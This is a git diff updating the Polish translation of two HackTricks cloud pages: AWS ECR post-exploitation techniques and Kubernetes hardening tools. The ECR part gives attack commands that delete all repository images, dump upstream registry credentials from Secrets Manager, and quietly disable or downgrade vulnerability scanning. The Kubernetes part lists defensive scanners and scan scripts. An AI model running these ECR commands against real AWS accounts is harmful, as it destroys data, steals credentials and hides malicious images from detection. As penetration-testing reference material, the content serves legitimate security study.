mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har
This commit is contained in:
+57
-25
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź
|
||||
Więcej informacji znajdziesz w
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Po pobraniu obrazów należy **sprawdzić je pod kątem informacji wrażliwych**:
|
||||
Po pobraniu obrazów powinieneś **sprawdzić je pod kątem wrażliwych informacji**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Atakujący posiadający którąkolwiek z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia w celu usunięcia wszystkich obrazów w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
|
||||
Atakujący posiadający któreś z tych uprawnień może **utworzyć lub zmodyfikować lifecycle policy, aby usunąć wszystkie obrazy w repozytorium**, a następnie **usunąć całe ECR repository**. Doprowadziłoby to do utraty wszystkich obrazów kontenerów przechowywanych w repozytorium.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -92,19 +92,19 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i
|
||||
```
|
||||
### Eksfiltracja poświadczeń rejestru upstream z ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Jeżeli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych rejestrów upstream (Docker Hub, GHCR, ACR itd.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu Secrets Manager, co umożliwia eksfiltrację poświadczeń i ich ponowne wykorzystanie poza AWS.
|
||||
Jeśli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych rejestrów upstream (Docker Hub, GHCR, ACR itp.), poświadczenia upstream są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: `ecr-pullthroughcache/`. Operatorzy czasami przyznają administratorom ECR szeroki dostęp do odczytu w AWS Secrets Manager, co umożliwia eksfiltrację poświadczeń i ich ponowne użycie poza AWS.
|
||||
|
||||
Wymagania
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Wyenumeruj potencjalne sekrety PTC
|
||||
Wylistuj potencjalne sekrety PTC
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Dump znalezionych sekretów i parsuj wspólne pola
|
||||
Zrzucanie wykrytych sekretów i parsowanie typowych pól
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -114,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opcjonalnie: zweryfikuj leaked creds względem upstream (read‑only login)
|
||||
Opcjonalnie: zweryfikuj leaked creds względem upstream (logowanie tylko do odczytu)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- Odczytanie tych wpisów Secrets Manager ujawnia nadające się do ponownego użycia poświadczenia rejestru upstream (username/password lub token), które mogą być nadużyte poza AWS do pobierania prywatnych obrazów lub dostępu do dodatkowych repozytoriów w zależności od uprawnień upstream.
|
||||
Wpływ
|
||||
- Odczytanie tych wpisów Secrets Manager ujawnia ponownie używalne upstream registry credentials (username/password or token), które mogą być nadużyte poza AWS do pobierania prywatnych obrazów lub dostępu do dodatkowych repozytoriów w zależności od upstream permissions.
|
||||
|
||||
|
||||
### Ukrywanie na poziomie rejestru: wyłączenie lub obniżenie skanowania za pomocą `ecr:PutRegistryScanningConfiguration`
|
||||
### Ukrycie na poziomie rejestru: wyłączenie lub obniżenie skanowania za pomocą `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Atakujący posiadający uprawnienia ECR na poziomie rejestru może po cichu zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla WSZYSTKICH repozytoriów, ustawiając konfigurację skanowania rejestru na BASIC bez żadnych reguł scan-on-push. Powoduje to, że nowe push'e obrazów nie będą automatycznie skanowane, ukrywając obrazy podatne lub złośliwe.
|
||||
Atakujący z uprawnieniami ECR na poziomie rejestru może cicho zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla wszystkich repozytoriów, ustawiając registry scanning configuration na BASIC bez żadnych reguł scan-on-push. To zapobiega automatycznemu skanowaniu nowych pushy obrazów, ukrywając podatne lub złośliwe obrazy.
|
||||
|
||||
Requirements
|
||||
Wymagania
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
- ecr:PutImageScanningConfiguration (opcjonalne, dla repozytorium)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (weryfikacja)
|
||||
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
Obniżenie ustawień dla całego rejestru do ręcznego (brak automatycznych skanów)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opcjonalnie: dalsze obniżenie na poziomie repozytorium
|
||||
Opcjonalnie: dalsze obniżenie uprawnień na poziomie repo
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -167,22 +167,22 @@ aws ecr put-image-scanning-configuration \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Wpływ
|
||||
- Nowe wypchnięcia obrazów w całym rejestrze nie są automatycznie skanowane, co zmniejsza widoczność podatnych lub złośliwych treści i opóźnia wykrycie do momentu ręcznego uruchomienia skanu.
|
||||
Impact
|
||||
- Nowe wypchnięcia obrazów do rejestru nie są skanowane automatycznie, co zmniejsza widoczność podatnej lub złośliwej zawartości i opóźnia wykrycie do momentu uruchomienia skanu ręcznego.
|
||||
|
||||
|
||||
### Obniżenie wersji silnika skanowania dla całego rejestru przez `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Obniżenie jakości silnika skanowania dla całego rejestru przez `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Zmniejsz wykrywalność podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na przestarzały silnik CLAIR. To nie wyłącza skanowania, ale może istotnie zmienić wyniki/zakres. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby uczynić skany wyłącznie ręcznymi.
|
||||
Zmniejsz jakość wykrywania podatności w całym rejestrze, przełączając silnik skanowania BASIC z domyślnego AWS_NATIVE na starszy silnik CLAIR. To nie wyłącza skanowania, ale może istotnie zmienić wyniki/zakres wykrywania. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby skany były tylko ręczne.
|
||||
|
||||
Wymagania
|
||||
Requirements
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opcjonalnie) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Opcjonalne) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Wpływ
|
||||
- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, dzięki czemu kolejne skany BASIC będą uruchamiane z obniżonym silnikiem. CloudTrail zapisuje wywołanie API `PutAccountSetting`.
|
||||
Impact
|
||||
- Ustawienie rejestru `BASIC_SCAN_TYPE_VERSION` na `CLAIR`, więc kolejne skany BASIC będą wykonywane przy użyciu obniżonego silnika. CloudTrail rejestruje wywołanie API `PutAccountSetting`.
|
||||
|
||||
Kroki
|
||||
Steps
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Skanuj obrazy ECR pod kątem podatności
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||
|
||||
region=<region>
|
||||
profile=<aws_profile>
|
||||
|
||||
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||
|
||||
# Configure docker creds
|
||||
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||
|
||||
while read -r repo; do
|
||||
echo "Working on repository $repo"
|
||||
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||
if [ -z "$digest" ]
|
||||
then
|
||||
echo "No images! Empty repository"
|
||||
continue
|
||||
fi
|
||||
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||
echo "Pulling $url"
|
||||
docker pull $url
|
||||
echo "Scanning $url"
|
||||
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||
# echo "Removing image $url"
|
||||
# docker image rm $url
|
||||
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Zabezpieczanie Kubernetes
|
||||
# Kubernetes Hardening
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
Będzie przeprowadzać **kilka kontroli zgodności w klastrze Kubernetes**. Zawiera wsparcie dla CIS, National Security Agency (NSA) oraz Cybersecurity and Infrastructure Security Agency (CISA) — w formie technicznego raportu dotyczącego zabezpieczania Kubernetes.
|
||||
Wykonuje **kilka kontroli zgodności w klastrze Kubernetes**. Zawiera wsparcie dla CIS oraz raportów technicznych National Security Agency (NSA) i Cybersecurity and Infrastructure Security Agency (CISA) dotyczących hardeningu Kubernetes.
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
@@ -27,44 +27,44 @@ powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) to open-source narzędzie dla K8s zapewniające pojedynczy panel zarządzania dla środowisk multi-cloud K8s, w tym analizę ryzyka, zgodność z bezpieczeństwem, wizualizator RBAC i skanowanie podatności obrazów. Kubescape skanuje klastry K8s, pliki YAML i HELM charts, wykrywając błędne konfiguracje zgodnie z wieloma frameworkami (takimi jak [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), podatności oprogramowania oraz naruszenia RBAC (role-based-access-control) na wczesnych etapach CI/CD pipeline, natychmiast oblicza wynik ryzyka i pokazuje trendy ryzyka w czasie.
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) to otwartoźródłowe narzędzie dla K8s, oferujące jednolity widok K8s dla środowisk multi-cloud, obejmujące analizę ryzyka, zgodność bezpieczeństwa, wizualizator RBAC oraz skanowanie podatności obrazów. Kubescape skanuje klastry K8s, pliki YAML oraz HELM charts, wykrywając błędy konfiguracji zgodnie z wieloma frameworkami (takimi jak the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), podatności oprogramowania oraz naruszenia RBAC (kontrola dostępu oparta na rolach) we wczesnych etapach potoku CI/CD, natychmiast oblicza wynik ryzyka i pokazuje trendy ryzyka w czasie.
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) to narzędzie, które skanuje działający klaster Kubernetes i **zgłasza potencjalne problemy z wdrożonymi zasobami i konfiguracjami**. Oczyszcza Twój klaster na podstawie tego, co jest rzeczywiście wdrożone, a nie tego, co znajduje się na dysku. Przez skanowanie klastra wykrywa błędy konfiguracji i pomaga zapewnić stosowanie najlepszych praktyk, zapobiegając przyszłym problemom. Ma na celu zmniejszenie obciążenia poznawczego, z którym spotyka się operator klastra Kubernetes w rzeczywistych warunkach. Dodatkowo, jeśli klaster używa metric-server, raportuje potencjalne nad-/niedopasowania zasobów i próbuje ostrzec, gdy klaster zaczyna brakować pojemności.
|
||||
[**Popeye**](https://github.com/derailed/popeye) to narzędzie, które skanuje działający klaster Kubernetes i **zgłasza potencjalne problemy z wdrożonymi zasobami i konfiguracjami**. Ocenia stan klastra na podstawie tego, co jest wdrożone, a nie tego, co znajduje się na dysku. Skanując klaster, wykrywa błędne konfiguracje i pomaga zapewnić stosowanie najlepszych praktyk, zapobiegając w ten sposób przyszłym problemom. Ma na celu zmniejszenie obciążenia poznawczego — cognitive \_over_load — z jakim mierzy się operator klastra Kubernetes w środowisku produkcyjnym. Ponadto, jeśli klaster korzysta z metric-server, raportuje potencjalne nadmierne/niedostateczne przydziały zasobów i próbuje ostrzec, jeśli klaster wyczerpie dostępne zasoby.
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
Narzędzie [**kube-bench**](https://github.com/aquasecurity/kube-bench) sprawdza, czy Kubernetes jest wdrożony bezpiecznie, uruchamiając kontrole udokumentowane w [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
||||
Możesz wybrać, aby:
|
||||
Narzędzie [**kube-bench**](https://github.com/aquasecurity/kube-bench) sprawdza, czy Kubernetes jest wdrożony bezpiecznie, uruchamiając testy opisane w [**CIS Kubernetes Benchmark**].\
|
||||
Możesz wybrać:
|
||||
|
||||
- uruchomić kube-bench z wnętrza kontenera (dzieląc przestrzeń nazw PID z hostem)
|
||||
- uruchomić kontener, który instaluje kube-bench na hoście, a następnie uruchomić kube-bench bezpośrednio na hoście
|
||||
- zainstalować najnowsze binaria ze strony [Releases](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- uruchomić kube-bench z wnętrza kontenera (dzieląc namespace PID z hostem)
|
||||
- uruchomić kontener, który zainstaluje kube-bench na hoście, a następnie uruchomić kube-bench bezpośrednio na hoście
|
||||
- zainstalować najnowsze binaria ze strony [Releases page],
|
||||
- skompilować je ze źródeł.
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
**[DEPRECATED]** Narzędzie [**kubeaudit**](https://github.com/Shopify/kubeaudit) to narzędzie wiersza poleceń i pakiet Go służący do **audytu klastrów Kubernetes** pod kątem różnych zagadnień związanych z bezpieczeństwem.
|
||||
**[DEPRECATED]** Narzędzie [**kubeaudit**](https://github.com/Shopify/kubeaudit) to narzędzie wiersza poleceń i pakiet Go do **audytowania klastrów Kubernetes** pod kątem różnych zagadnień związanych z bezpieczeństwem.
|
||||
|
||||
Kubeaudit potrafi wykryć, czy działa wewnątrz kontenera w klastrze. Jeśli tak, spróbuje przeaudytować wszystkie zasoby Kubernetes w tym klastrze:
|
||||
Kubeaudit potrafi wykryć, czy działa wewnątrz kontenera w klastrze. Jeśli tak, spróbuje audytować wszystkie zasoby Kubernetes w tym klastrze:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
To narzędzie ma również argument `autofix`, aby **automatycznie naprawić wykryte problemy.**
|
||||
To narzędzie ma także argument `autofix`, który pozwala **automatycznie naprawiać wykryte problemy.**
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
**[DEPRECATED]** Narzędzie [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) wyszukuje luki bezpieczeństwa w klastrach Kubernetes. Narzędzie zostało opracowane, aby zwiększyć świadomość i widoczność problemów bezpieczeństwa w środowiskach Kubernetes.
|
||||
**[PRZESTARZAŁE]** Narzędzie [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) wyszukuje luki bezpieczeństwa w klastrach Kubernetes. Narzędzie zostało opracowane, aby zwiększyć świadomość i widoczność problemów związanych z bezpieczeństwem w środowiskach Kubernetes.
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) ma skanery, które wyszukują problemy bezpieczeństwa oraz cele, w których mogą znaleźć te problemy:
|
||||
[Trivy](https://github.com/aquasecurity/trivy) posiada skanery, które wyszukują problemy z bezpieczeństwem oraz cele, w których może znaleźć te problemy:
|
||||
|
||||
- Obraz kontenera
|
||||
- System plików
|
||||
@@ -75,48 +75,48 @@ kube-hunter --remote some.node.com
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
**[Looks like unmantained]**
|
||||
**[Wygląda na nieutrzymywany]**
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) to narzędzie do skanowania podatności i CIS Docker benchmark, które pozwala użytkownikom uzyskać dokładną i natychmiastową ocenę ryzyka ich klastrów Kubernetes. Kubei skanuje wszystkie obrazy używane w klastrze Kubernetes, w tym obrazy podów aplikacyjnych i podów systemowych.
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) to narzędzie do skanowania podatności oraz narzędzie CIS Docker benchmark, które pozwala użytkownikom uzyskać dokładną i natychmiastową ocenę ryzyka ich klastrów Kubernetes. Kubei skanuje wszystkie obrazy używane w klastrze Kubernetes, w tym obrazy podów aplikacyjnych oraz podów systemowych.
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) to narzędzie do skanowania klastra Kubernetes pod kątem ryzykownych uprawnień w modelu autoryzacji Role-based access control (RBAC) Kubernetes.
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) to narzędzie do skanowania klastra Kubernetes pod kątem ryzykownych uprawnień w modelu autoryzacji Role-based access control (RBAC).
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) to narzędzie stworzone do przeprowadzania innych typów kontroli wysokiego ryzyka w porównaniu z innymi narzędziami. Posiada głównie 3 różne tryby:
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) to narzędzie stworzone do testowania innych typów kontroli wysokiego ryzyka w porównaniu z innymi narzędziami. Posiada głównie 3 różne tryby:
|
||||
|
||||
- **`find-role-relationships`**: Który znajdzie, które role AWS działają w których podach
|
||||
- **`find-secrets`**: Który próbuje zidentyfikować sekrety w zasobach K8s, takich jak Pods, ConfigMaps i Secrets.
|
||||
- **`test-imds-access`**: Który spróbuje uruchomić pody i spróbować uzyskać dostęp do metadata v1 i v2. UWAGA: To uruchomi pod w klastrze, bądź bardzo ostrożny, ponieważ możesz nie chcieć tego robić!
|
||||
- **`find-role-relationships`**: który znajdzie, które role AWS działają w których podach
|
||||
- **`find-secrets`**: który próbuje zidentyfikować sekrety w zasobach K8s, takich jak Pods, ConfigMaps i Secrets.
|
||||
- **`test-imds-access`**: który spróbuje uruchomić pody i uzyskać dostęp do metadanych v1 i v2. UWAGA: To uruchomi poda w klastrze — bądź bardzo ostrożny, ponieważ być może nie chcesz tego robić!
|
||||
|
||||
## **Audyt kodu IaC**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) znajduje luki bezpieczeństwa, problemy ze zgodnością i błędne konfiguracje infrastruktury w następujących rozwiązaniach Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM oraz specyfikacjach OpenAPI 3.0
|
||||
[**KICS**](https://github.com/Checkmarx/kics) znajduje **luki bezpieczeństwa**, problemy ze zgodnością oraz błędne konfiguracje infrastruktury w następujących rozwiązaniach Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM oraz specyfikacjach OpenAPI 3.0.
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) to narzędzie do statycznej analizy kodu dla infrastructure-as-code.
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) to narzędzie do analizy statycznej kodu dla infrastructure-as-code.
|
||||
|
||||
Skanuje infrastrukturę chmurową provisioned using [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) lub [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i wykrywa błędne konfiguracje bezpieczeństwa oraz zgodności przy użyciu skanowania opartego na grafie.
|
||||
Skanuje infrastrukturę chmurową prowizjonowaną przy użyciu [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) lub [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i wykrywa błędne konfiguracje bezpieczeństwa i zgodności przy użyciu skanowania opartego na grafie.
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) to narzędzie, które wykonuje statyczną analizę kodu definicji obiektów Kubernetes.
|
||||
[**kube-score**](https://github.com/zegl/kube-score) to narzędzie wykonujące statyczną analizę kodu definicji obiektów Kubernetes.
|
||||
|
||||
To install:
|
||||
Aby zainstalować:
|
||||
|
||||
| Distribution | Command / Link |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| Dystrybucja | Polecenie / Link |
|
||||
| --------------------------------------------------- | ---------------------------------------------------------------------------------------- |
|
||||
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
|
||||
## Narzędzia do analizy plików YAML i Helm Charts
|
||||
## Narzędzia do analizy plików YAML & Helm Charts
|
||||
|
||||
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
||||
```bash
|
||||
@@ -162,23 +162,95 @@ helm template chart /path/to/chart \
|
||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||
| kubesec scan -
|
||||
```
|
||||
## Wskazówki
|
||||
## Skanowanie problemów z zależnościami
|
||||
|
||||
### Kubernetes PodSecurityContext i SecurityContext
|
||||
### Skanowanie obrazów
|
||||
```bash
|
||||
#!/bin/bash
|
||||
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||
echo "All images found: $images"
|
||||
echo ""
|
||||
echo ""
|
||||
for image in $images; do
|
||||
# Run trivy scan and save JSON output
|
||||
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||
# Extract binary targets that have vulnerabilities
|
||||
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||
if [ -n "$binaries" ]; then
|
||||
echo "- **Image:** $image"
|
||||
while IFS= read -r binary; do
|
||||
echo " - **Binary:** $binary"
|
||||
jq -r --arg target "$binary" '
|
||||
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||
' /tmp/result.json
|
||||
done <<< "$binaries"
|
||||
echo ""
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
### Skanowanie Helm charts
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# scan-helm-charts.sh
|
||||
# This script lists all Helm releases, renders their manifests,
|
||||
# and then scans each manifest with Trivy for configuration issues.
|
||||
|
||||
Możesz skonfigurować **kontekst bezpieczeństwa Pods** (za pomocą _PodSecurityContext_) oraz **kontenerów**, które będą uruchamiane (za pomocą _SecurityContext_). Po więcej informacji przeczytaj:
|
||||
# Check that jq is installed
|
||||
if ! command -v jq &>/dev/null; then
|
||||
echo "jq is required but not installed. Please install jq and rerun."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# List all helm releases and extract namespace and release name
|
||||
echo "Listing Helm releases..."
|
||||
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||
|
||||
# Check if any releases were found
|
||||
if [ ! -s helm_releases.txt ]; then
|
||||
echo "No Helm releases found."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Loop through each Helm release and scan its rendered manifest
|
||||
while IFS=" " read -r namespace release; do
|
||||
echo "---------------------------------------------"
|
||||
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||
# Render the Helm chart manifest
|
||||
manifest_file="${release}-manifest.yaml"
|
||||
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||
continue
|
||||
fi
|
||||
# Scan the manifest with Trivy (configuration scan)
|
||||
echo "Running Trivy config scan on $manifest_file..."
|
||||
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||
echo "Completed scan for $release."
|
||||
done < helm_releases.txt
|
||||
|
||||
echo "---------------------------------------------"
|
||||
echo "Helm chart scanning complete."
|
||||
```
|
||||
## Tips
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
|
||||
You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
{{#endref}}
|
||||
|
||||
### Utwardzanie API Kubernetes
|
||||
### Kubernetes API Hardening
|
||||
|
||||
Bardzo ważne jest, aby **chronić dostęp do Kubernetes Api Server**, ponieważ złośliwy aktor z wystarczającymi uprawnieniami może go nadużyć i w różny sposób uszkodzić środowisko.\
|
||||
Ważne jest zabezpieczenie zarówno **dostępu** (**whitelist** originów mających dostęp do API Server i odrzucenie pozostałych połączeń), jak i [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (zgodnie z zasadą **najmniejszych** **uprawnień**). I zdecydowanie **nigdy** **nie** **zezwalaj** na **anonimowe** **żądania**.
|
||||
To bardzo ważne, aby **chronić dostęp do Kubernetes Api Server**, ponieważ złośliwy aktor z wystarczającymi uprawnieniami mógłby go nadużyć i w różny sposób uszkodzić środowisko.\
|
||||
Ważne jest zabezpieczenie zarówno **dostępu** ( **whitelist** originów, które mogą łączyć się z API Server i odrzucanie innych połączeń) jak i [**uwierzytelniania**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (zgodnie z zasadą **najmniejszych** **uprawnień**). I zdecydowanie **nigdy** **nie** **zezwalaj** **na** **anonimowe** **żądania**.
|
||||
|
||||
